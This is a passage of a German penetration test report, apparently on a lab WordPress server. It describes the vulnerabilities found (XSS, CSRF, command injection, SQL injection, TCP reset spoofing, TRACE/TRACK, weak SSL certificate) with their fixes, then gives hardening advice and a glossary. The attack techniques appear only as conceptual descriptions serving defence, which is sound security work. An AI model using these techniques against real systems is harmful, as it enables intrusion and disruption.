Dieses Problem wurde ab WordPress 5.2.4 behoben.

Referenzen

Comment Cross-Site Scripting (XSS)

Cross-Site-Scripting ist eine Art der Schadcode-Injektion. Diese Art des Angriffs kann immer dann eingesetzt werden, wenn eine Webanwendung User:innen-Eingabedaten annimmt ohne den Inhalt zu überprüfen. Damit ist es einem/einer Angreifer:in möglich, Skripte indirekt an den Browser des Opfers zu senden und damit Schadcode auf der Seite des Clients auszuführen.

In der vorliegenden WordPress Version 4.3.18 wird die User:innen-Eingabe in der Kommentarspalte nicht überprüft und validiert. Dies ermöglicht die Eingabe von schädlichen Skripten.

Maßnahme: Update
Dieses Problem wurde ab WordPress 5.1.1 behoben. Weitere detaillierte technische Lösungsansätze finden Sie in den Referenzen.

Referenzen

JSON Request Cache Poisoning

Diese Sicherheitslücke besteht darin, dass unautorisierte Nutzer:innen JSON GET-Anfragen von angemeldeten Nutzer:innen aus dem Cache auslesen können, falls die Anfragen nicht die nötigen Header-Informationen haben. Somit können Fremde gegebenenfalls auf private Informationen zugreifen.

Maßnahme: Update
Dieses Problem wurde ab WordPress 5.2.4 behoben. Darüber hinaus ist zu empfehlen, Wordpress so zu konfigurieren, dass bei allen GET-Requests der Header Vary: Origin mit gesendet wird.

Referenzen

Admin Referrer Validation

Diese Schwachstelle bezieht sich auf die WordPress-Funktion check_admin_referer(), welche überprüfen soll ob der/die Benutzer:in, der/die in einem spezifischen Anwendungsfall eine Aktion ausführen will, für die Admin-Rechte benötigt werden, diese auch tatsächlich hat. Das Ausnutzen dieser Sicherheitslücke wäre z.B. über einen [Cross-Site Request Forgery]-Angriff (#WP-Database-Backup-Plugin-<=-4.3.5-Cross-Site-Request-Forgery-(CSRF)) möglich.

Maßnahme: Update
Dieses Problem wurde ab WordPress 5.2.4 behoben.

Referenzen

Authenticated Code Execution

Ein/e Angreifer:in, die z.B. durch einen Brute Force Angriff Autor:innenrechte erlangt hat, kann beliebigen Schadcode auf dem Server ausführen, indem er/sie ein manipuliertes Bild mit injiziertem PHP-Code in die Exif-Metadaten hochlädt.

Maßnahme: Update
Dieses Problem wurde ab WordPress 5.0.1 behoben.

Referenzen

Cross-Site Scripting (XSS) in URL Sanitisation

Da die URL-Eingabe nicht vollständig geprüft wird, können Angreifer:innen einen XSS Angriff ausführen.

Maßnahme: Update
Dieses Problem wurde ab WordPress 5.2.3 behoben.

Referenzen

Stored XSS in Customizer

Hierbei handelt es sich um eine weitere XSS-Schwachstelle, die durch den WordPress Customizer möglich wird. Stored XSS-Angriffe umfassen schädliche Skripte, die auf dem Zielserver gespeichert und jedes Mal abgerufen werden, wenn der/die Benutzer:in die gespeicherten Informationen abruft. Der Schadcode kann unter anderem in der Datenbank, im Nachrichten-Forum, in Kommentarfeldern oder im Besucher:innen-Log hinterlegt werden.

Maßnahme: Update
Dieses Problem wurde ab WordPress 5.2.4 behoben.

Referenzen

Unauthenticated View Private/Draft Posts

Diese Sicherheitslücke ermöglicht es, private Blogeinträge sowie Entwürfe einzusehen: Hat der erste von mehreren Blogeinträgen die Eigenschaft public, dann werden die Eigenschaften der folgenden Einträge nicht überprüft.

Maßnahme: Update
Dieses Problem wurde ab WordPress 5.2.4 behoben.

Referenzen

Stored XSS in Style Tags

Diese Schwachstelle ermöglicht das Injizieren von JavaScript-Code, weil die User:innen-Eingabe nicht nach dem style-tag gefiltert wird.

Maßnahme: Update
Dieses Problem wurde ab WordPress 5.2.4 behoben.

Referenzen

WP Database Backup Plugin <= 4.3.5 - Cross-Site Request Forgery (CSRF)

Cross-site request forgery (CSRF) ermöglicht es einem/einer Angreifer:in, unbeabsichtigte Aktionen des/der User:in auszulösen, die dem Zielsystem Schaden zufügen. Häufig geschieht dies z.B. über das Anklicken von schädlichen Links in Phishing Mails oder in Chats.

Maßnahme: Aktualisieren des Plugins auf neueste Version

WP Database Backup Plugin <= 3.3 - Authenticated Stored Cross-Site Scripting (XSS)

Siehe die Beschreibung von XSS.

Maßnahme: Aktualisieren des Plugins auf neueste Version

WP Database Backup Plugin <= 5.1.2 - Unauthenticated OS Command Injection

Diese Sicherheitslücke ermöglicht es dem/der Angreifer:in verschiedene Betriebssystem-Befehle ins Zielsystem zu injizieren. Diese werden ausgeführt, während das Plugin ein Database Backup erstellt. Die Befehle können nur manuell wieder entfernt werden und werden jedesmal bei der Backup-Erstellung erneut ausgeführt.

Maßnahme: Aktualisieren des Plugins auf neueste Version

Referenzen

4.3.2 Empfehlungen zur Absicherung des Webservers

Der folgende Abschnitt liefert allgemeine Maßnahmen für Sicherheitslücken, welche der/die Webadministrator:in ausführen sollte, um die Sicherheit des Webservers zu erhöhen.

Blind SQL Injection

Eine SQL-Injection ist ein Exploit, bei dem ein/e Angreifer:in über ein Webformular eine SQL-Anfrage stellt, um unerlaubt Zugang zu internen Daten zu erhalten und sie zu manipulieren oder gar zu löschen.

Security-Experten gehen davon aus, dass SQL-Injection-Schwachstellen, ähnlich wie Cross-Site-Scripting-Lücken, vor allem durch mangelndes Sicherheitsbewusstsein bei der Entwicklung der Web-Applikationen entstehen. Um den Schutz von Webseiten zu gewährleisten, sollte die Sicherheit daher bereits während der Entwicklung Thema sein, etwa indem Eingabemöglichkeiten genau überprüft und bereinigt werden.

Maßnahme: Mehr Sicherheit bei der Entwicklung der Webseite investieren
Jede/r Programmierer:in sollte dafür sorgen, dass ungewöhnliche Schriftzeichen nicht erlaubt sind und dass bestimmte Escape-Sequenzen genutzt werden, so dass Eingaben nicht als Kommandos interpretiert werden können.

Maßnahme: Einsatz einer Web Application Firewall
Eine Web Application Firewall überprüft den eingehenden Traffic auf verdächtige Eingaben. Alternativ können auch ein IDS (Intrusion Detection System) oder ein IPS (Intrusion Protection System) eingesetzt werden.

Referenzen

TCP Sequence Number Approximation Based Denial of Service

Das Transmission Control Protocol (TCP) ermöglicht eine zustandsbezogene Kommunikation zwischen Hosts in einem Netzwerk. TCP-Sitzungen werden durch einen Drei-Wege-Handshake hergestellt und verwenden zufällig erzeugte 32-Bit Sequenz- und Bestätigungsnummern, um die Validität des Traffics zu gewährleisten. Es wurde eine Sicherheitslücke gefunden, durch die zulässige TCP-Sequenznummern von Angreifer:innen leichter erraten werden können. Dieses Problem betrifft Produkte von verschiedenen Anbietern.

Die Ursache der Sicherheitslücke liegt darin, dass betroffene Zielhosts TCP-Sequenznummern innerhalb eines bestimmten Bereichs akzeptieren, der als Bestätigungsbereich der erwarteten Sequenznummer für ein Paket in der Sitzung bezeichnet wird. Dies wird durch die TCP-Fenstergröße bestimmt, die während des Drei-Wege-Handshakes für die Sitzung ausgehandelt wird. Größere TCP-Fenstergrößen können festgelegt werden, um mehr Durchsatz zu ermöglichen. Je größer die TCP-Fenstergröße ist, desto wahrscheinlicher ist es jedoch, eine TCP-Sequenznummer zu erraten, die in einen zulässigen Bereich fällt. Anfänglich wurde angenommen, dass das Erraten einer zulässigen Sequenznummer für die meisten Implementierungen bei einer zufälligen Verteilung relativ schwierig ist, was diese Art von Angriff unpraktisch macht. Einige Implementierungen können es jedoch einfacher machen, eine zulässige TCP-Sequenznummer erfolgreich zu erraten, was diese Angriffe mit einer Reihe von Protokollen und Implementierungen ermöglicht.

Hinzu kommt, dass einige Implementierungen die Verwendung der TCP Window Scale Option unterstützen, wie in RFC 1323 beschrieben, um die TCP-Fenstergröße auf einen Maximalwert von 1 Milliarde zu erweitern.

Diese Sicherheitslücke ermöglicht es einem/einer Angreifer:in, ein SYN- oder RST-Paket in die Sitzung einzufügen, wodurch diese zurückgesetzt wird und Denial-of-Service-Angriffe ermöglicht werden. Ein/e Angreifer:in würde dieses Problem ausnutzen, indem er/sie ein Paket mit einer erratenen Sequenznummer, einer gefälschten Ursprungs-IP-Adresse und einem gefälschten TCP-Port an einen Empfänger sendet.

Es gibt einige Faktoren, die Zielsysteme als angreifbarer markieren können, z. B. solche, die von langlebigen TCP-Verbindungen abhängen, die IP-Adressendpunkte kennen oder leicht erraten haben, und solche Implementierungen mit leicht erratenen TCP-Quellports. Es wurde festgestellt, dass das Border Gateway Protocol (BGP) aufgrund der Verwendung von langlebigen TCP-Sitzungen und der Möglichkeit, dass einige Implementierungen die TCP Window Scale Option verwenden, als besonders anfällig für diese Art von Angriff eingestuft wird. Infolgedessen wirkt sich dieses Problem wahrscheinlich auf eine Reihe von Routingplattformen aus.

Ein weiterer zu berücksichtigender Faktor ist die relative Schwierigkeit des Injizieren von Paketen in TCP-Sitzungen, da einige Empfänger die Pakete der Reihe nach neu zusammensetzen und alle Duplikate verwerfen. Dadurch sind manche Implementierungen möglicherweise resistenter gegen Angriffe als andere.

Die erfolgreiche Ausnutzung dieser Sicherheitslücke kann zu Denial-of-Service-Angriffen auf die TCP-basierten Dienste der Zielhosts führen. Andere mögliche Angriffe wären z. B. Man-in-the-Middle-Angriffe.

Maßnahme: Konfiguration eines BGP-spezifischen Workarounds

Für BGP-Implementierungen, die dies unterstützen, sollte die TCP MD5-Signaturoption aktiviert sein. Passwörter, auf die die MD5-Prüfsumme angewendet wird, sollten aus komplexen Zeichen- und Zahlenketten zusammengesetzt sein und regelmäßig geändert werden.

Referenzen

Apache 1.3 HTTP Server Expect Header Cross-Site Scripting

Auf dem Apache HTTP Server liegt eine Cross-Site-Scripting Sicherheitslücke vor. Das Problem liegt darin, dass Input, welcher in den “Expect”-Header gefüllt werden soll, nicht richtig bereinigt wird, bevor er dem/der User:in zurückgegeben wird. Dieser Fehler kann ausgenutzt werden, um beliebigen HTML- und Skriptcode über eine manipulierte Flash-Datei auszuführen.

Maßnahme: Update
Aktualisieren des Webservers auf die Version 1.3.35, 2.0.58, 2.2.2 oder neuer

HTTP TRACE / TRACK Methods Allowed

Der getestete Webserver unterstützt die Methoden TRACK und TRACE. Diese werden üblicherweise zum Debuggen von Websites verwendet, bieten aber auch eine Angriffsfläche für Hack-Angriffe: Durch das Ausnutzen dieser Sicherheitslücke können sensible Informationen wie beispielsweise Authentifizierungsdetails und Cookies ausgelesen werden, die in HTTP-Headern enthalten sind. Sie sind Bestandteil der Informationen, die ein Webserver als Response auf einen TRACE-Request sendet.

Maßnahme: Deaktivieren der TRACK-/TRACE-Methoden in der Serverkonfiguration
TRACK- und TRACE-Requests an den Server können durch Anpassungen in der Konfiguration des Apache-Servers unterbunden werden.

Für die Deaktivierung sollten für jeden Virtual Host (= jede Domain) des betriebenen Apache-Servers folgende Anpassungen in der Konfigurationsdatei vorgenommen werden:

RewriteEngine on

RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK)

RewriteRule .* – [F]

Referenzen

SSL-Zertifikat

SSL Certificate Cannot Be Trusted

Der Scan hat das SSL-Zertifikat des Servers mit dem Standard X.509 als nicht vertrauenswürdig eingestuft. Dies kann darin begründet sein, dass der Anfang der Zertifikatskette nicht bei einer öffentlich anerkannten Zertifikatsautorität liegt oder dass die Zertifikatskette an anderen Stellen durch ungültige oder nicht verifizierbare Zertifikate unterbrochen wurde.

Ein ungültiges oder veraltetes SSL-Zertifikat erschwert es, die Identität und Authentizität des Servers festzustellen. Dadurch werden sogenannte “man-in-the-middle”-Angriffe gegen Hosts die auf den Server zugreifen, begünstigt. Der Scan liefert im weiteren Verlauf weitere Detailinformationen zum SSL-Zertifikat:

SSL Self-Signed Certificate

Das X.509-Zertifikat ist self-signed und wurde nicht von einer anerkannten Certificate Authority (CA) ausgestellt. Die Vertrauenswürdigkeit ist damit nicht gewährleistet.

SSL Certificate Expiry

Im vorliegenden Fall lieferte der Scan das Ergebnis, dass das Zertifikat am 30. September 2010 abgelaufen und damit veraltet ist:

Not valid before : Oct  1 09:10:30 2004 GMT
Not valid after  : Sep 30 09:10:30 2010 GMT

SSL Certificate Signed Using Weak Hashing Algorithm

Das SSL-Zertifikat wurde mit einem Hashing-Algorithmus erstellt, der als kryptografisch schwach eingestuft ist. Im vorliegenden Fall wurde MD5 mit RSA-Verschlüsselung verwendet. Zu den als schwach eingestuften Algorithmen gehören darüber hinaus auch MD2, MD4, oder SHA1. Diese Algorithmen gelten als anfällig für sogenannte “collision attacks”, bei denen ein/e Angreifer/in ein anderes Zertifikat mit der gleichen digitalen Signatur erstellt, um sich dadurch als das Zielsystem auszugeben, von dem die ursprüngliche Signatur übernommen wurde.

Maßnahme: Erwerb oder Erzeugung eines vertrauenswürdigen SSL-Zertifikats
Durch die Erzeugung oder den Erwerb eines vertrauenswürdigen SSL-Zertifikats kann die Identifizierung und Authentifzierung des Webservers gewährleistet werden. Dies ist eine wichtige Sicherungsmaßnahme gegen die oben genannten “man-in-the-middle attacks” und “collision attacks”.

Referenzen

Maßnahme: Zertifikate vor Ablauf erneuern beispielsweise mit AutoEnrollment

Mit Hilfe von AutoEnrollment kann die Gültigkeit des SSL-Zertifikats nachhaltig gewährleistet werden. AutoEnrollment warnt die Benutzer:in und erneuert das ablaufende Zertifikat automatisch.

Eine andere wichtige Option ist es natürlich, direkt eine SSL/TLS-Verbindung zum Server aufzubauen und die Gültigkeit des übermittelten Zertifikats zu prüfen. Sowas können fast alle Monitoring-Programme (z.B. mxsfax.de: PRTG - Monitoring für den KMU).

Zudem gibt es immer mehr Programme (wie. z.B. Lync oder Exchange), die im Eventlog eine Warnung vor dem Ablauf generieren. Sie müssen also nur ihr Eventlog überwachen.

Referenzen
https://www.msxfaq.de/signcrypt/camonitoring.htm

mDNS Detection (Remote Network)

Das mDNS-Protokoll ist ein Protokoll, das für die einfache Erkennung von Geräten innerhalb eines lokalen Netzwerks konzipiert ist. Durch den Scan wird ersichtlich, das der Server auch auf externe Anfragen antwortet und es möglich ist, über dieses Protokoll Informationen über das Zielsytem auszulesen, wie beispielsweise das Betriebssystem und dessen exakte Version, den Hostnamen des Zielsystems sowie ggf. eine Liste der laufenden Dienste.
Im vorliegenden Fall konnte das Betriebssystem inkl. seiner Version ausgelesen werden ebenso wie der Hostname des Geräts.

OS: Linux Kernel 4.15 on Ubuntu 18.04 (bionic)
mDNS hostname : yilmaz-VirtualBox.local.

Maßnahmen:
Falls der mDNS-Service nicht benötigt wird, kann der Dienst deaktiviert werden. Dies ist die einfachste und effektivste Lösung.
Alternativ ist zu empfehlen, den zugehörigen Port 5353 so zu konfigurieren, dass eingehende Anfragen gefiltert werden, sodass diese Informationen nur an bekannte Hosts übermittelt werden.

Referenzen

Browsable Web Directories

Der Inhalt einiger Verzeichnisse, Unterverzeichnisse und Dateien auf dem Webserver ist von Außen für Dritte sichtbar und durchsuchbar. Die betroffenen Verzeichnisse können zum Beispiel durch Page Spidering (das seitenweise Durchsuchen einer Website und Speichern relevanter, versteckter Informationen), das Anwenden konkreter Suchtechniken mit der Suchmaschine Google (Stichwort: Google Advanced Search Techniques) oder einer iterativen Brute Force Suche durch eine Liste typischer Verzeichnisse aufgerufen werden. Somit können Angreifer:innen möglicherweise auf sensible Daten zugreifen.

Maßnahme: Sichere Konfiguration durchsuchbarer Verzeichnisse
Es sollte sicher gestellt werden, dass durchsuchbare Verzeichnisse keine wichtigen Informationen beinhalten oder Zugang zu sensiblen Daten geben. Allgemein sollte der Webserver so konfiguriert sein, dass Verzeichnisauflistungen für alle Pfade von web-root verhindert werden.

Referenzen

Apache HTTPD: error responses can expose cookies

In der Standardfehlerantwort für Statuscode 400 wurde ein Fehler gefunden. Fehler können von einem/einer Angreifer:in verwendet werden, um “httpOnly” -Cookies freizulegen, wenn kein benutzerdefiniertes Fehlerdokument angegeben ist.

Maßnahme: Erstellen eines (eigenen) Fehlerdokuments
Maßnahme: Ein Upgrade für Apache durchführen

4.3.3 Allgemeine Empfehlungen zur langfristigen und dauerhaften Verbesserung der Sicherheit

Regelmäßige Updates

Der durchgeführte Penetrationstest hat insbesondere die Bedeutung regelmäßiger Updates vor Augen geführt: Durch eine gewissenhafte, regelmäßige Aktualisierung der Patchlevel der eingesetzten Systeme kann bereits eine Vielzahl der identifzierten Sicherheitslücken behoben werden und das Risiko eines Angriffs auf das getestete System deutlich gesenkt werden.
Die WordPress-Releases zeigen uns jedoch auch die Grenzen der Strategie “Sicherheit durch Updates” auf. Mit jeder WordPress-Version, jedem Plugin- und Theme-Update werden zwar bekannte Sicherheitslücken gepatched, aber auch neue Einfallstore entdeckt. Zudem steht die Sicherheit eines Content Management Systems wie WordPress immer im Verhältnis zu implementierten Sicherheitsmaßnahmen tausender Drittanbieter (relationale Sicherheit).

Weiterführende technische Maßnahmen

Deshalb empfhlen sich darüber hinaus empfehlen weiterführende Sicherungsmaßnahmen, die sich durch eine sorgfältige Konfiguration des Webservers realisieren lassen. Hierzu gehören beispielsweise die oben beschriebenen Möglichkeiten wie die Verwendung eines gültigen SSL-Zertifikats oder die Deaktivierung von TRACK-/TRACE-Methods. Einen ausführlichen Artikel zu weiteren Sicherungsmaßnahmen für WordPress finden Sie außerdem hier.

Sensibilisierung von Mitarbeiter:innen für das Thema IT-Security

Nicht zuletzt machen die Ergebnisse des Brute Force Angriffs aber auch deutlich, wie wichtig eine Sensibilisierung von Mitarbeiter:innen für das Thema IT-Sicherheit ist. Durch die Wahl von sicheren Passwörtern kann die Sicherheit der unternehmenseigenen Webservices deutlich gesteigert werden.

4.3.4 Ausblick

Während des Tests sind einige, unter anderem kritische, Probleme aufgefallen – vor allem hinsichtlich des WordPress-CMS und des Webservers. Diese können mit verhältnismäßig geringem Aufwand behoben und damit die allgemeine Sicherheit deutlich gesteigert werden.

Generell ist es empfehlenswert und enorm wichtig, dass das verwendete Betriebssystem und laufende Content Management Systeme wie WordPress, regelmäßig gewartet und aktualisiert werden. Der Hauptgrund ist hierbei der Sicherheitsaspekt. Zusätzlich bietet die regelmäßige Aktualisierung auch den Vorteil, dass die entsprechenden Anwendungen reibungsloser läuft, da sowohl Fehlerbehebungen, als auch neue Features, implementiert werden können.

Im Zusammenhang mit dem Sicherheitsaspekt muss erwähnt werden, dass – auch wenn Sicherungsmaßnahmen und Testings absolut sinnvoll sind – diese zwangsläufig nur begrenzt vor Hackangriffen schützen. In diesem Zusammenhang sei auf die Möglichkeit von Zero Day Angriffen verwiesen. Bei einem Zero Day Angriff handelt es sich um eine besondere Form des Exploits, bei dem für eine vorhandene Schwachstelle noch kein Patch existiert, da der Fehler noch nicht bekannt ist. Ein Zero Day Angriff kann frühestens nach einem ersten Angriff auf ein System erkannt werden. Oft bleiben Zero Day Angriffe jedoch über lange Zeit unbemerkt.

Da die Schwachstellen, die für Zero Day Angriffe ausgenutzt werden nicht bekannt sind, ist es sehr schwierig potenziell gefährdete Systeme zu schützen. Umso wichtiger ist es deshalb, präventive Maßnahmen zu ergreifen. So sollte beispielsweise die Datenübertragung in Netzwerken ausschließlich verschlüsselt und abgesichert erfolgen.

Um ein dauerhaftes Monitoring und die nachhaltige Absicherung der unternehmenseigenen Webservices auf dem aktuellsten Stand der IT-Security zu halten, empfehlen wir die regelmäßige Durchführung von Testings, um eine fortlaufende Kontrolle der Systemsicherheit nachzuhalten.

5. Glossar zu technischen Fachbegriffen

CVE

CVE steht für Common Vulnerabilities and Exposures (dt. Häufige Schwachstellen und Risiken). Hierbei handelt es sich um einen 1999 eingeführten Industriestandard mit dem Ziel einer einheitlich nummerierten Benennung von Sicherheitslücken und anderer Schwachstellen in Computersystemen. Eine CVE-Nummer kodiert fortlaufend eine vierstellige Jahreszahl sowie eine weitere mindestens vierstellige Nummer mit führender Null (z.B. CVE-2007-0014). Für die Verwaltung der CVE-Liste sind die Mitre Corporation in Zusammenarbeit mit den CVE Numbering Authorities (Sicherheitsexperten, Bildungseinrichtungen, Behörden und Herstellern von Sicherheitssoftware) verantwortlich.

Exploit

Ein Exploit bietet die Möglichkeit, eine Schwachstelle in einem Computersystem auszunutzen, um auf diese Weise Zugang zum System, zu seinen Daten oder auch nur zu einer einzelnen (Software-)Komponente zu erlangen oder um den Betrieb des Systems zu stören. Um einen Exploit und ein zugehörigen Payload (d.h. auf dem Zielsystem auszuführenden Schadcode) auszuwählen, benötigt man Information über das Zielsystem und die darauf installierten Netzwerkdienste. Diese Informationen können vorab durch den Einsatz eines Portscanners wie z.B. Nmap erlangt werden, der auch die Erkennung des Betriebssystems ermöglicht.

Pentesting-Framework (Exploit-Framework)

Bei einem Pentesting-Framework handelt es sich um eine Plattform zur Entwicklung, zum Testen und zum Einsatz von Exploits und ähnlichen Modulen. Neben den Exploits, die den Kernbestandteil des Frameworks bilden, sind in der Regel weitere Module vorhanden, die der Informationsgewinnung vor dem eigentlichen Exploit-Versuch dienen. Außerdem existieren Module für die Phase nach dem Exploit-Vorgang („Post-Exploitation-Phase“), etwa um den Angriff auf einer erweiterten Stufe fortzusetzen („Privilege Escalation Exploit“) oder auch für die automatisierte Informationsgewinnung.

Portscanner

Ein Portscanner ist eine Software, mit der Informationen über die Ports eines Systems ausgelesen werden. So lässt sich identifzieren, welche Dienste eines mit TCP oder UDP arbeitenden Systems auch außerhalb des lokalen Netzwerks erreichbar sind. Die gescannten Ports können dabei grob betrachtet drei Zustände haben: 1. Offen (open) bedeutet, dass hinter diesem Port eine Anwendung/ein Dienst lauscht und somit eine Verbindung möglich ist. 2. Geschlossen (closed) bedeutet, dass eine Verbindung auf diesem Port vom Host abgelehnt wird und dass hier keine Anwendung lauscht. 3. Gefiltert (filtered) bedeutet, dass Anfragen weder bestätigt noch abgelehnt werden. Oft bieten Portscanner auch Zusatzfunktionen wie Betriebssystem- und Diensterkennung an. Ein Beispiel für einen Portscanner ist nmap mit der grafischen Benutzer:innenoberfläche Zenmap.

Vulnerability Scanner

Vulnerability Scanner sind Computerprogramme, die Zielsysteme auf das Vorhandensein von bekannten Sicherheitslücken hin testen. Die Software vergleicht dabei Details über die Oberfläche des Zielsystems mit Informationen aus einer Datenbank über bereits bekannte Sicherheitslücken in Services und Ports. Es gibt zwei Vorgehensweisen, einmal mit Authentifizierung auf dem Zielsystem und einmal ohne Authentifizierung. Ohne Authentifizierung ist keine Detailprüfung möglich. Sie können von Einzelpersonen oder Systemadministrator:innen zu Sicherheitszwecken genutzt werden oder von Hacker:innen, um unerlaubten Zugriff zu erlangen. Ein viel genutzter Vulnerability Scanner ist beispielsweise Nessus oder auch WPScan; letzterer ist ein Vulnerability Scanner, der speziell auf Sicherheitslücken in WordPress ausgerichtet ist.

6. Anhang

Eine detaillierte Dokumentation der Scan-Ergebnisse befindet sich im Anhang dieser Dokumentation.